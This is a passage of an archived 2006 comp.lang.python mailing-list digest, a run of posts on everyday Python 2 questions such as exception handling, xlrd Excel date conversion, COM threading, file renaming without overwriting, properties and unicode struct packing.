> 
> I know I should probably just pick one of the above and run with it,
> but I thought I'd ask here to see if I've missed a more elegant
> solution.
> 
> Thanks,
> 
> Simon
> 
I should have thought the simplest spelling of your requirements would be

try:
     do_something()
     print "It worked"
except:
     # it didn't

However there are good reasons why this pattern isn't often recommended: 
it masks types of exception that you may not have anticipated.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From istvan.albert at gmail.com  Tue Oct  3 13:33:13 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 3 Oct 2006 10:33:13 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
In-Reply-To: <1159895939.769126.146630@i42g2000cwa.googlegroups.com>
References: <mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
	<mailman.1072.1159766782.10491.python-list@python.org>
	<1159774531.004015.7390@e3g2000cwe.googlegroups.com>
	<1159853705.946422.70220@b28g2000cwb.googlegroups.com>
	<1159855375.951848.195790@m73g2000cwd.googlegroups.com>
	<1159888289.071764.274400@e3g2000cwe.googlegroups.com>
	<1159894194.296766.181670@m73g2000cwd.googlegroups.com>
	<1159895939.769126.146630@i42g2000cwa.googlegroups.com>
Message-ID: <1159896793.505478.232500@i42g2000cwa.googlegroups.com>

Larry Hastings wrote:

> That patch addressed the same general problem, but took a completely
> different approach.  For the record, this patch (#980695) optimized "x

Larry,

Forgot to mention this, in case you haven't done so post your original
message/patch on the python-dev lists since that's where the decisions
are made. This group is more end-user oriented.

http://mail.python.org/pipermail/python-dev/2006-October/thread.html

i.



From tim.peters at gmail.com  Sat Oct 14 16:27:17 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sat, 14 Oct 2006 16:27:17 -0400
Subject: File read-write mode: problem appending after reading
In-Reply-To: <453142A2.4000404@vtxmail.ch>
References: <452F3F8C.2070706@vtxmail.ch>
	<1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com>
	<453142A2.4000404@vtxmail.ch>
Message-ID: <1f7befae0610141327q6ee89395t424bd2adf8c8ad5d@mail.gmail.com>

[Frederic Rentsch]
>       Thanks a lot for your input. I seemed to notice that  everything
> works fine without setting the cursor as long as it stops before the end
> of the file. Is that also a coincidence that may not work?

"if you want to read following a write, or write following a read, on
the same stream, you must perform a file-positioning operation
(typically a seek) between them"


From python.list at tim.thechases.com  Mon Oct 16 16:00:33 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Mon, 16 Oct 2006 15:00:33 -0500
Subject: Need a strange sort method...
In-Reply-To: <1161026985.618592.318630@k70g2000cwa.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>	<mailman.586.1161023741.11739.python-list@python.org>	<1161025963.350716.57900@i42g2000cwa.googlegroups.com>
	<1161026985.618592.318630@k70g2000cwa.googlegroups.com>
Message-ID: <4533E4E1.5070507@tim.thechases.com>

>>> that's trivial to do with slicing, of course.  what makes you think you
>>> need to do this by calling the "sort" method ?
>>>
>>> </F>
>> You are of course correct.. There might be a way to do this with
>> slicing 
>> and i % 3
> 
> Slicing will work only with a sorted list.

But modulus arithmetic will only work with contiguous, 
non-repeating numeric sequences...Funky things happen with 
sequences like

[1,2,3,4,4,5,6,7,8,9,10] # "4" appears twice

or

[1,3,5,7,11,13,17,19,23,29]

where the position and the numeric value no longer correlate via 
a simple modulus.

-tkc





From ilias at lazaridis.com  Tue Oct 17 02:33:05 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 16 Oct 2006 23:33:05 -0700
Subject: Python component model
In-Reply-To: <mailman.369.1160650787.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<eghai4$615$1@online.de>
	<1160628402.244331.197840@b28g2000cwb.googlegroups.com>
	<mailman.369.1160650787.11739.python-list@python.org>
Message-ID: <1161066784.944918.34620@m73g2000cwd.googlegroups.com>

Terry Reedy wrote:
> "Ilias Lazaridis" <ilias at lazaridis.com> wrote in message
> news:1160628402.244331.197840 at b28g2000cwb.googlegroups.com...
> > I share the infrastructure which I use:
> >
> > http://dev.lazaridis.com/base
>
> But not quite yet, it appears. "A public release is planned shortly"

Thank you for you comment.

You are right.

I've not yet selected the license yet (this case is quite complex):

http://case.lazaridis.com/wiki/License

But I've placed a BSD2 license to the existent files:

http://dev.lazaridis.com/base/browser/infra

.



From calmasy at gmail.com  Fri Oct 13 13:09:45 2006
From: calmasy at gmail.com (=?ISO-8859-1?Q?Count_L=E1szl=F3_de_Alm=E1sy?=)
Date: Fri, 13 Oct 2006 11:09:45 -0600
Subject: optparse: add trailing text in help message?
Message-ID: <abb783b90610131009q900be86k470bb27caa5989ac@mail.gmail.com>

Is there a standard way with optparse to include a blurb of text after
the usage section, description, and the list of options?  This is
often useful to include examples or closing comments when the help
message is printed out.  Many of the GNU commands do this.

It would look something like this:

% program --help

usage: program [options]

This is my description text.

options:
  -f BAR, --foo=BAR
                 A sample option
  --version   show program's version number and exit
  --help       show this help message and exit

==> Now how about closing text after the options list?


From nitte.sudhir at gmail.com  Fri Oct  6 06:34:27 2006
From: nitte.sudhir at gmail.com (kath)
Date: 6 Oct 2006 03:34:27 -0700
Subject: How do I read Excel file in Python?
In-Reply-To: <1160092463.755080.127850@c28g2000cwb.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
	<8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
	<mailman.1380.1160076037.10491.python-list@python.org>
	<1160077793.218033.108840@m73g2000cwd.googlegroups.com>
	<1160092463.755080.127850@c28g2000cwb.googlegroups.com>
Message-ID: <1160130867.771526.92840@i42g2000cwa.googlegroups.com>

John Machin wrote:
> houdinihound at yahoo.com wrote:
> > > > >>> excel_date = 38938.0
> > > > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date)
> > > > >>> python_date
> > > > datetime.date(2006, 8, 11)
> > >
> > > Err, that's the wrong answer, isn't it? Perhaps it shoud be
> > > datetime.date(1900, 1, 29)?
> >
> > Actually was about to post same solution and got same results. (BTW
> > Simon, the OP date is Aug 9th, 2006).  Scratched head and googled for
> > excel date calculations... found this bug where it treats 1900 as leap
> > year incorrectly:
> > http://www.ozgrid.com/Excel/ExcelDateandTimes.htm
> >
> > Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the
> > calc:
> > >>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2)
> > >>> python_date
> > datetime.date(2006, 8, 9)
> >
>
> ... and 2006-08-09 is only the correct answer if the spreadsheet was,
> when last saved, using the 1900 ("Windows") date system, not the 1904
> ("Macintosh") date system.
>
> All the OP needs to do is to read the documentation that comes with the
> xlrd package. It describes the problems with Excel dates, and offers
> functions for conversion between the Excel date numbers and (year,
> month, day, hour, minute, second) tuples which of course are
> interoperable with Python's datetime module and with mx.DateTime.
>
> | >>> import xlrd
> | >>> xlrd.xldate_as_tuple(38938.0, 0)
> | (2006, 8, 9, 0, 0, 0)
> | >>> xlrd.xldate_as_tuple(38938.0, 1)
> | (2010, 8, 10, 0, 0, 0)
> | >>>
>
> Cheers,
> John



Hi,

>>> import xlrd
>>> book = xlrd.open_workbook("testbook1.xls")
>>> sh = book.sheet_by_index(0)
>>> sh.cell_value(rowx=1,colx=0)
38938.0
>>> type(sh.cell_value(rowx=1,colx=0))
<type 'unicode'>
>>> xlrd.xldate_as_tuple( sh.cell_value( rowx = 1,colx= 0 ), 0 )

Traceback (most recent call last):
  File "D:\Python23\Testing area\Python and Excel\xlrdRead.py", line
30, in ?
    temp=xlrd.xldate_as_tuple(sh.cell_value(rowx=r,colx=c),0)
  File "D:\PYTHON23\Lib\site-packages\xlrd\xldate.py", line 61, in
xldate_as_tuple
    xldays = int(xldate)
ValueError: invalid literal for int(): Date

because xlrd.xldate_as_tuple() function expects first argument to be an
integer. How do I convert an unicode character to integer, so that I
could get the date using xlrd.xldate_as_tuple() function.

Thank you,
sudhir.



From http  Wed Oct 25 11:56:12 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 08:56:12 -0700
Subject: unsigned 32 bit arithmetic type?
References: <453F3189.5000502@chamonix.reportlab.co.uk>
	<ehndnf$5n4$1@sea.gmane.org>
	<mailman.1167.1161773743.11739.python-list@python.org>
Message-ID: <7xu01s9yoz.fsf@ruckus.brouhaha.com>

Robin Becker <robin at reportlab.com> writes:
> > type(nx.array([1,2,3],dtype=nx.uint32)[0])
> > <type 'numpy.uint32'>
> 
> great, but do we have a pure python version?

array.array('L', [1,2,3])


From tejovathi.p at gmail.com  Tue Oct 17 00:55:22 2006
From: tejovathi.p at gmail.com (Teja)
Date: 16 Oct 2006 21:55:22 -0700
Subject: COM Error -- Urgent help
Message-ID: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>

HI all,

I have a problem in accesing COM objects in threads. To be precise,
lets assume that I have a class GenericFunctions which is defined as
follows:


import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1


class GenericFunctions:


       def __init__(self):
             print "In Constructor of Generic Functions"


       def MyNavigate(self,dest):
             ie.Navigate(dest)


Now there  is another file Main.py which is defined as follows:


import win32com.client, pythoncom, thread
from GenericFunctions import *
obj = GenericFunctions()


class Mainclass:
       def __init__(self);
            print "In Constructor of Main class"


       def threadFunction(self,dest):
            pythoncom.CoInitialize()
            d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
            my_ie=win32com.client.Dispatch(d)
            obj.func(dest)          # this is gving an error.
            pythoncom.CoUninitialize()


if __name__ == "__main__":


s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,i?e)

         thread.start_new_thread(self.nav, (s,'www.google.com')


Basically, I want to access object of GenericFunctions class inside
threadFunction(). However I was able to execute
my_ie.Navigate("google.com"). But that was not I wanted. I am not
knowing where the error is....
Please let me know the solution ASAP... 


Teja.P



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 18:40:49 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 29 Oct 2006 09:40:49 +1100
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.15.24.785616@REMOVE.THIS.cybersource.com.au>
	<j62d14-pkv.ln1@darkstargames.dnsalias.net>
Message-ID: <pan.2006.10.28.22.40.49.922035@REMOVE.THIS.cybersource.com.au>

On Sun, 29 Oct 2006 00:29:06 +0200, Wolfgang Draxinger wrote:

> Steven D'Aprano wrote:
> 
>> Open "the" file? There are potentially two files -- the source
>> and destination. I only want to do the rename if the
>> destination *doesn't* exist, so there is no destination file to
>> open. How will it help me to lock the source file? Have I
>> misunderstood?
> 
> I forgot to say, to open the source file with O_CREAT | O_EXCL.
> The open will fail if the file already exists.

But the source file always exists, otherwise there is nothing to rename!
Do you mean, open the destination filename?



-- 
Steven.



From newsuser at stacom-software.de  Wed Oct 11 05:11:13 2006
From: newsuser at stacom-software.de (Alexander Eisenhuth)
Date: Wed, 11 Oct 2006 11:11:13 +0200
Subject: dynamic creation of global Identifier
Message-ID: <egicc8$kat$1@online.de>

Hello alltogether,

I've a little problem in creating a new identifier in the global namespace. The 
following code creates a as local var in the namespace of init()

class A:
	def __init__(self, v):
		print "ctr of", self.__class__, "with", v
		self._v = v

def init():
	newIdentifier =  ["a", "b"]
	param = [1,2]
	for newId, par in zip(newIdentifier, param):
		exec "global %s" % newId
		exec "%s = A(par)" % newId

init()
print a, b

but why doesent exec "global ... create a identifier in the global namespace.

The next thing I want to do is to create a identifier in a packages namespace 
anyhow from where init() is called. How can I (or can I not) access from within 
a function the namespace of the "package" where it is defined?

Thanks a lot
Alexander



From ebgssth at gmail.com  Mon Oct  2 12:19:42 2006
From: ebgssth at gmail.com (js )
Date: Tue, 3 Oct 2006 01:19:42 +0900
Subject: Sort by domain name?
In-Reply-To: <1159804569.682265.241150@h48g2000cwc.googlegroups.com>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
	<mailman.1104.1159804122.10491.python-list@python.org>
	<1159804569.682265.241150@h48g2000cwc.googlegroups.com>
Message-ID: <a23effaf0610020919s4a120bdck765add27a729e2ce@mail.gmail.com>

On 2 Oct 2006 08:56:09 -0700, bearophileHUGS at lycos.com
<bearophileHUGS at lycos.com> wrote:
> js:
> > All I want to do is to sort out a list of url by companyname,
> > like oreilly, ask, skype, amazon, google and so on, to find out
> > how many company's url the list contain.
>
> Then if you can define a good enough list of such company names, you
> can just do a search of such names inside each url.
> Maybe you can use string method, or a RE, or create a big string with
> all the company names and perform a longest common subsequence search
> using the stdlib function.

well, I think list is so large that that's impossible to
create such a good company-list.


From lists at fabis-site.net  Wed Oct 18 15:45:05 2006
From: lists at fabis-site.net (Fabian Steiner)
Date: Wed, 18 Oct 2006 21:45:05 +0200
Subject: Flushing standard input
Message-ID: <eh606t$7i6$02$1@news.t-online.com>

Recently I came across a problem which I still can't solve on my own.
Consider this small example:

import sys
import time

time.sleep(3)
print
sys.stdin.flush()
input = raw_input('Your input: ')
print 'Your input: ', input

While the script is sleeping I type in the word 'test1', so that it is
printed on the console. Having slept for three seconds the script
continues and wants me to type in another word 'test2' and I hit return.

The output looks like this:

fabi at jupiter ~ [ 21:41:27 ] $ python test.py
test1
test2
Your input:  test1test2

Is there any way to flush the stdin buffer so that 'test1' is _not_
regarded as input? How could one solve this issue?

Cheers,
Fabian


From antoine at vo.lu  Wed Oct 11 09:18:03 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Wed, 11 Oct 2006 15:18:03 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <452cd561$0$19339$426a34cc@news.free.fr>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu>
	<452cd561$0$19339$426a34cc@news.free.fr>
Message-ID: <452ceef7@news.vo.lu>

Bruno Desthuilliers wrote:
>> And what does property mean anyway? 
> 
> See above. A property is a computed attribute : you access it like a
> 'data' attribute, but it really uses getters/setters. The point here is
> that client code doesn't know nor need to know if it's a plain attribute
> or a computed one. This let you change implementation (turn a plain
> attribute into a computed one) without breaking the API. So the real
> thing is not "don't use getters and setters", but "don't bother with
> getters and setters, you'll be able to add them transparently if and
> when needed".

Ok great, now I understand. It's nice actually :-)

For anyone else trying this for the first time, the following might be 
interesting, as I had trouble with this at first:
Don't forget to derive your class from object, otherwise properties 
won't work.

> As a side node, the getters/setters of a property are often either
> marked as implementation (the _leading_underscore convention) or deleted
> from the class's dict once the property is created or 'masked' one way
> or another so they don't pollute the class's namespace.

You mean like manually removed from the dict? Because (at least on the
system I tried) it doesn't happen automatically. (Windwos XP, Python 2.5)


From hanumizzle at gmail.com  Fri Oct 13 15:19:25 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 15:19:25 -0400
Subject: wing ide vs. komodo?
In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
Message-ID: <463ff4860610131219r633ef49fse9c6dc45a30bcae4@mail.gmail.com>

On 10/13/06, John Salerno <johnjsal at nospamgmail.com> wrote:

> Komodo, on the other hand, seems to have more of the features that the
> personal version of Wing IDE lacks (call tips, class browser, etc.) but
> the look of it seems very sparse for some reason.

But that's really a good thing.

-- Theerasak


From steve at holdenweb.com  Thu Oct 26 10:03:39 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 15:03:39 +0100
Subject: doesnt seems to work can any help be provided
In-Reply-To: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>
References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>
Message-ID: <ehqf5n$hb0$1@sea.gmane.org>

Arun Nair wrote:
[stuff]

You will find people are willing to help, even sometimes with homework 
questions, when questioners show some evidence that they are looking to 
learn rather than simply to have their problems solved for them.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From aahz at pythoncraft.com  Mon Oct  9 16:53:48 2006
From: aahz at pythoncraft.com (Aahz)
Date: 9 Oct 2006 13:53:48 -0700
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
	<slrneik8ap.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <egecss$o1l$1@panix3.panix.com>

In article <slrneik8ap.55m.apardon at rcpc42.vub.ac.be>,
Antoon Pardon  <apardon at forel.vub.ac.be> wrote:
>On 2006-10-08, Aahz <aahz at pythoncraft.com> wrote:
>> In article <877izb1vwe.fsf at pobox.com>, John J. Lee <jjl at pobox.com> wrote:
>>>aahz at pythoncraft.com (Aahz) writes:
>>>>
>>>> The following line of lightly munged code was found in a publicly
>>>> available Python library...
>>>> 
>>>>     if schema.elements.has_key(key) is False:
>>>> 
>>>> Sorry, just had to vent.
>>>
>>>I think I was reading the same code recently (epydoc?) and was also
>>>momentarily horrified ;-) until I realized that it was quite
>>>deliberately using three-valued logic (True, False, None) for some
>>>presumably-sensible reason.  Since None is false, they had to use
>>>"is".  So, given the need for three-valued logic, it's not as silly as
>>>it looks.
>>
>> My take is that even in that case, one should use "is" only with None.
>> There is too much ground for bugs with True/False, particularly if you
>> either intend to work across version *or* you might possibly accept a
>> user's object (because *they* might be working across versions and
>> therefore returning 1/0 instead of True/False).  I think it's safest to
>> simply ban this idiom.  No exceptions, never.
>
>The problem is there is also ground for bugs if you don't use "blah is
>True". If some application naturally seems to ask for a variable that
>can be valued False, True or a positive integer then things like "if
>var" or "if not var" may very well be a bug too.

Anyone designing an app like that in Python deserves to lose.  It's just
another way of shooting yourself in the foot.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From fredrik at pythonware.com  Sat Oct 21 02:30:59 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 21 Oct 2006 08:30:59 +0200
Subject: why does this unpacking work
In-Reply-To: <Qe9_g.129$1n3.3113@news.tufts.edu>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
Message-ID: <ehcequ$g7f$2@sea.gmane.org>

John Salerno wrote:

> I understand that t returns a single tuple that contains other tuples. 

t *is* a single tuple that contains other tuples.

> Then 'for x in t' returns the nested tuples themselves.
> 
> But what I don't understand is why you can use 'for x,y in t' when t 
> really only returns one thing. I see that this works, but I can't quite 
> conceptualize how.

hint:

 >>> t = (('hello', 'goodbye'),
...       ('more', 'less'),
...       ('something', 'nothing'),
...       ('good', 'bad'))
 >>> t[0]
('hello', 'goodbye')
 >>> t[1]
('more', 'less')
 >>> t[2]
('something', 'nothing')
 >>> t[3]
('good', 'bad')

</F>



From chris.cavalaria at free.fr  Fri Oct 27 04:32:38 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Fri, 27 Oct 2006 10:32:38 +0200
Subject: Assertion failure on hotshot.stats.load()
In-Reply-To: <mailman.1333.1161933599.11739.python-list@python.org>
References: <mailman.1333.1161933599.11739.python-list@python.org>
Message-ID: <4541c41c$0$23931$426a74cc@news.free.fr>

Yang a ?crit :
> Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks
> several packages I depend on. I'm using Python 2.4.3.
> 
> I'm getting an AssertionError on "assert not self._stack" when calling
> hotshot.stats.load() on my app's hotshot profile. The app consistently
> causes hotshot to generate such a problematic profile, but I have no
> idea what's causing it. Anybody know what's wrong?
> 
> Here's the profile:
> 
> http://www.filefactory.com/file/76fdbd/
> 
> Potentially relevant bugs:
> 
> http://sourceforge.net/tracker/index.php?func=detail&aid=900092&group_id=5470&atid=105470 
> 
> http://sourceforge.net/tracker/index.php?func=detail&aid=1019882&group_id=5470&atid=105470 
> 
> 
> Thanks in advance for any help.

I had the exact same problem as the second bug in an embeded 
application. I solved it by ignoring any function return without a 
corresponding function start in the profiler but I'm sure it can be be 
made more precise.


From http  Mon Oct 16 06:12:28 2006
From: http (Paul Rubin)
Date: 16 Oct 2006 03:12:28 -0700
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
Message-ID: <7xirikbmcz.fsf@ruckus.brouhaha.com>

Wolfgang Keller <wolfgang.keller.nospam at gmx.de> writes:
> > http://philip.greenspun.com/sql/
> 
> ...small misunderstanding: I already know a bit of SQL, and I intend to avoid 
> its use as far as possible (and use e.g. Modeling or SQLAlchemy).  

I'm not sure what you mean, that book isn't just an intro to SQL, it
discusses how to tune for performance, etc.  It has quite a bit of
practical advice that you can tell came from hard-won experience by
the author.  On the other hand, it's somewhat out of date by now and
it's Oracle-centered.  Anyway it's online, you might spend a minute
looking at it to see if it's useful to you.  It had sounded like the
type of thing you're asking for.

> What I'm interested in is rather how to connect a GUI to a database, with 
> quite a bit of application logic in between. And how to do it well.

Erm, I can't really tell what you're asking for here; the application
simply makes database queries as needed.  


From http  Tue Oct 10 07:06:48 2006
From: http (Paul Rubin)
Date: 10 Oct 2006 04:06:48 -0700
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com> <egakob$76a$2@sea.gmane.org>
	<20061010114945.GA4478@dagan.sigpipe.cz>
	<mailman.201.1160476378.11739.python-list@python.org>
Message-ID: <7xlknoh1kn.fsf@ruckus.brouhaha.com>

"Fredrik Lundh" <fredrik at pythonware.com> writes:
> or for the perhaps-overly-clever hackers,
> 
>     for x in iter(lambda: foo() or None, None):
>         process(x)

  for x in takewhile(bool, (foo() for _ in repeat(None))):
     process(x)

Meh, both are ugly.


From oscartheduck at gmail.com  Mon Oct  2 09:06:28 2006
From: oscartheduck at gmail.com (oscartheduck)
Date: 2 Oct 2006 06:06:28 -0700
Subject: changing a file's permissions
References: <d59e90ab0610011826r508d0a5ag703efbe472eac249@mail.gmail.com>
	<mailman.1069.1159755897.10491.python-list@python.org>
Message-ID: <1159794388.543392.187100@m7g2000cwm.googlegroups.com>

> This is an attribute of the file (an object in the filesystem) which
> is checked by the kernel before allowing the file to be
> executed. Python has nothing to do with this; if the attributes allow
> execution, you can execute it as a program; if not, you can't.
>

I took this to heart and changed my question to "How do I run shell
commands within a python script?" I was taking my lead from Perl, which
has the infamous backquotes, and though the two languages differ in
conceptive aim, I discovered that shell commands are accessible in
python:

http://pyre.third-bit.com/pipermail/2005fall/2005-October/000228.html




> Incidentally, if the program is intended to be run from a command
> line, it's best to name the file with no '.py' extension. The fact
> that a command is implemented in Python is irrelevant to the person
> running that command; it also means you can implement it in some other
> language later on without changing everything that uses that command.

How I've been doing it inside my script (which is a script generation
tool, nicely enough) is creating symlinks with no extension on them in
a directory in $PATH that the user has read/write/execute access to.
It's a hidden directory inside the user's home folder that I added to
the end of the path.



From antoine at vo.lu  Sat Oct 28 06:37:20 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Sat, 28 Oct 2006 12:37:20 +0200
Subject: Need help (Basic python)...what did I do wrong?
In-Reply-To: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
Message-ID: <29c1a$454332e1$544ab808$5911@news.hispeed.ch>

frankie_85 wrote:
> Hi everyone,
> 
> I just made a simple code which is part of my assignment but I can't
> figure it out what's wrong with it. (always give me error messages)
> 
> What the code basically does is:
> 
> a function that takes one floating point number x as its argument and
> returns (the square root of the absolute value of x) plus (5 times x
> cubed).
> 

You also may want to review what (the) return (keyword) really means. 
Hopefully this will point you to the other problem in your code. ;-)


From tomas at fancy.org  Mon Oct  9 03:34:45 2006
From: tomas at fancy.org (Tom Plunket)
Date: Mon, 09 Oct 2006 00:34:45 -0700
Subject: Unicode strings, struct, and files
References: <7ghji2hr4clsv9fp9nhlqr28sf98jf8e6l@4ax.com>
	<1160374000.207864.13340@m73g2000cwd.googlegroups.com>
Message-ID: <mquji2d2ofe3hd4j1l20q4rpjfvtgghj09@4ax.com>

John Machin wrote:

> > message = unicode('Hello, world')
> > myFile.write(message)
> >
> > results in 'message' being converted back to a string before being
> > written.  Is the way to do this to do something hideous like this:
> >
> > for c in message:
> >    myFile.write(struct.pack('>H', ord(unicode(c))))
> 
> I'd suggest UTF-encoding it as a string, using the encoding that
> matches whatever wchar means on the target machine, for example
> assuming bigendian and sizeof(wchar) == 2:

Ahh, this is the info that my trawling through the documentation
didn't let me find!

Thanks a bunch.

> utf_line1 = unicode_line1.encode('utf_16_be')
> etc
> struct.pack(">.........64s64s", ......, utf_line1, utf_line2)
> Presumes (1) you have already checked that you don't have more than 32
> characters in each "line" (2) padding with unichr(0) is acceptable.

This works frighteningly well.  ;)


-tom!


From bjobrien62 at gmail.com  Tue Oct 24 14:13:13 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 24 Oct 2006 11:13:13 -0700
Subject: mean ans std dev of an array?
In-Reply-To: <7xpsci665e.fsf@ruckus.brouhaha.com>
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
	<7xpsci665e.fsf@ruckus.brouhaha.com>
Message-ID: <1161713593.138960.310030@f16g2000cwb.googlegroups.com>


Paul Rubin wrote:
> "SpreadTooThin" <bjobrien62 at gmail.com> writes:
> > print a.mean()
> > print a.std_dev()
> >
> > Is there a way to calculate the mean and standard deviation on array data?
>
> Well, you could use numpy or whatever.  If you want to calculate directly,
> you could do something like (untested):
>
> n = len(a)
> mean = sum(a) / n
> sd = sqrt(sum((x-mean)**2 for x in a) / n)

This last line looks like it will be very slow...
Escpecially if the array is large...
So speed is the real issue here...
If there is a faster way... like transferring the array to a different
container class...
but what?



From ptmcg at austin.rr._bogus_.com  Sun Oct 22 22:17:20 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 23 Oct 2006 02:17:20 GMT
Subject: Arrays? (Or lists if you prefer)
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
Message-ID: <QCV_g.1097$GR2.1089@tornado.texas.rr.com>

<Hakusa at gmail.com> wrote in message 
news:1161565656.906572.209750 at f16g2000cwb.googlegroups.com...
> Pythonic lists are everything I want in a one dimensional array . . .
> but I'm trying to do a text adventure and simplify the proces by
> creating a grid as opposed to a tedious list of rooms this room
> connects to.
>
<snip>
> Way to do SIMPLE array, either internally or externally, with Python,
> please.
>

As an example of using pyparsing, I chose a simple text adventure 
application, and had to create a 2-D grid of rooms.  The presentation 
materials are online at http://www.python.org/pycon/2006/papers/4/, and the 
source code is included with the examples that ship with pyparsing 




From duncan.booth at invalid.invalid  Wed Oct 25 08:50:11 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 25 Oct 2006 12:50:11 GMT
Subject: can't open word document after string replacements
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
	<mailman.1088.1161707583.11739.python-list@python.org>
Message-ID: <Xns98673B5F7E158duncanbooth@127.0.0.1>

Frederic Rentsch <anthra.norell at vtxmail.ch> wrote:

> DOC files contain housekeeping info which becomes inconsistent if you 
> change text. Possibly you can exchange stuff of equal length but that 
> wouldn't serve your purpose. RTF files let you do substitutions and they 
> save a lot of space too. But I kind of doubt whether RTF files can 
> contain pictures.

They wouldn't be a lot of use as a document file format if they couldn't 
contain pictures. RTF files can contain just about anything, they can even 
embed other non-rtf objects. Whether rtf applications apart from Word can 
actually handle all of the tags is, of course, another question.



From fredrik at pythonware.com  Wed Oct 18 11:14:33 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 17:14:33 +0200
Subject: How to execute a linux command by python?
In-Reply-To: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>
References: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>
Message-ID: <eh5gcq$s9c$1@sea.gmane.org>

haishan chang wrote:

> How to execute a linux command by python?
> for example: execute "ls"  or "useradd oracle"
> Who can help me?

start here:

     http://www.python.org/doc/lib/

</F>



From edreamleo at charter.net  Wed Oct  4 15:49:53 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 14:49:53 -0500
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga> <4oi0f3FehgnuU1@uni-berlin.de>
	<k3QUg.11$Cr3.3@newsfe03.lga> <4oi4meFep2seU1@uni-berlin.de>
	<LnRUg.5$5H6.3@newsfe05.lga>
